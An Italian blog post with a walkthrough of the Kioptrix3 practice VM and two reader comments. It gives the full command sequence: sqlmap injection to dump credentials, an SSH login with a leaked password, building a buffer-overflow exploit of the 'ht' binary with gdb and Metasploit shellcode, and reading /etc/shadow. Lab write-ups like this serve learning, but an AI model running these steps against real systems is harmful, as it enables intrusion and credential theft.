giovedì 8 settembre 2011

Kioptrix3 - First Buffer Overflow


Kioptrix3 è la nuova VirtualMachine che ha come scopo al solito l'acquisizione della macchina. Questa volta ho deciso di provare backbox2, una distro rilasciata da poco di cui apprezzo molto la leggerezza estetica... BackTrack 5 è troppo scura, troppo forte secondo me... Devo dire che indubbiamente BackTrack ha un numero infinito di tools, che a volte si rivela utile... Una mancanza che ho notato su BackBox2 è la mancanza del database di exploit-db... E' comodo usarlo, soprattt se si ottengono dei risultati e non serve fare ricerche più approfondite... Kioptrix3 ha almeno 2 soluzioni... Se non di più... Una soluzione molto elegante la da g0tmi1k sul suo blog:

Kioptrix3 g0tmi1k

La sua soluzione mi ha come al solito aiutato molto... Ma un altro video mi ha deciso di capire qualcosa di più sul buffer overflow... Il link è stato sempre fornito da g0tmi1k:

Soluzione di Swappage

La sua soluzione mi ha molto aiutato... Penso che lo script sia presente anche in exploit-db, ma farselo da sé aiuta a comprendere i meccanismi base sul BOF... Dico base, perchè ormai nessuna distribuzione ha l'ASLR disattivato di default... Ed il kernel linux 2.6 ce l'ha di default attivo... Qui è stato disabilitato ovviamente perchè queste distro sono fatte per divertirsi, un qualche modo per effettuare un privileges escalation... Non che l'ASLR sia inattaccabile, ma certo richiede molto più tempo per comprenderlo...

Ormai non spiego più i primi passaggi di identificazione della macchina e dei suoi servizi... Rileggete i primi post di pentesting e là sono spiegati... Una particolarità in più questa volta kioptrix la richiede... Aggiungere al file /etc/hosts  ip kioptrix3.com... Perchè il servizio web lo richiede... Ma nulla di più...

Aperto firefox si nota che è stata aggiunta una galleria foto... Gallarific permette di creare gallerie fotografiche facilmente in PHP... Ma cercando un exploit per questo servizio si trova una sql injection... Quindi si può passare a sqlmap il sito e vedere se si riesce a tirar fuori qualcosa... Con pochi comandi troviamo user e password di un utente... Che probabilmente sono gli stessi associati all'ssh(errore comune)... Quindi ci logghiamo al sistema tramite ssh...

Adesso avremmo due strade, o procedere come g0tmi1k, oppure effettuare un BOF e scalare i privilegi... Con GDB e OBJDUMP riusciamo a scoprire tutti i dati necessari... Con i tool forniti da metasploit riusciamo a trovare il numero esatto di "A" che vanno a scrivere l'eip(in questo caso dal caratter 4091 escluso a 4095, i 4 byte necessari)... Quindi nello script python forniamo appunto un buffer iniziale da passare ad ht insieme al nostro jmp esp, seguito da un numero di NOPS e poi la nostra shellcode...

Per creare la shellcode si può usare tranquillamente msfconsole... Ancora non ho imparato ad usare tutti i tool di metasploit... Probabilmente potevo evitare di caricare msfconsole... Ma vabbè... Con msfconsole, un suo payload generiamo in ASCII anche il codice per lo shellcode... Nel video ovviamente ho fatto qualche errore, qualcuno dovuto a distrazione...

Il video dura molto poco, ho inserito solo la soluzione finale, avevo giò fatto il tutto un'altra volta, quindi mi ero anche scritto i passaggi, andavo a colpo sicuro...


ps:ho ancora alcune lacune sui nops da mettere... Devo capirlo ancora bene bene...

ps2:non ho inserito tutti i comandi di nano, guardando il video si capisce però cos'ho fatto... Ed alla fine, avevo dimenticato appunto un = allo shellcode, ma si capiva dall'errore restituito...


Comandi
 
echo 192.168.1.130 kioptrix3.com >> /etc/hosts
nmap -sP -n 192.168.1.*
nmap -sS -sV -n -O 192.168.1.130
firefox 192.168.1.130
cd /backbox/exploit/exploitdb/

grep -i gallarific files.csv
cat platforms/php/webapps/15891.txt
clear
cd ~
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null'
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null' --tables
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null' -D gallery --dump
clear
ssh loneferret@192.168.1.130 passwd:starwars
id
clear
sudo -l
cat /proc/sys/kernel/randomize_va_space
clear
gdb /usr/local/bin/ht
run $(python -c 'print "\x41"*4400')
i r
q
reset
cd /opt/metasploit3/msf3/tools/
./pattern_create.rb 4400
 nano exploit.py Ctrl+O Ctrl+X
gdb /usr/local/bin/ht
run $(python exploit.py)
i r
q
reset

./pattern_offset.rb 0x34674633
 nano exploit.py Ctrl+O Ctrl+X
msfconsole
use payload/linux/x86/exec
set CMD /bin/bash
set encoder x86/alpha_mixed
generate
objdump -D /usr/local/bin/ht | grep jmp | grep esp
 nano exploit.py Ctrl+O Ctrl+X
clear
id
sudo ht $(python exploit.py)
id
whoami
cat /etc/shadow
cat /etc/shadow | grep root

2 commenti:

Swappage ha detto...

Ciao, caspita non credevo che qualcuno avrebbe mai visto/guardato/apprezzato il mio video su kioptrix3

come non credo che molti sappiano che sono italiano :)

Grazie davvero per avermi citato in questo post.

Swappage

Mito125 ha detto...

Grazie a te per il video... Pensavo fossi anglosassone :D Io ancora mi sto avvicinando a questo mondo, quindi il video mi è stato molto utile :D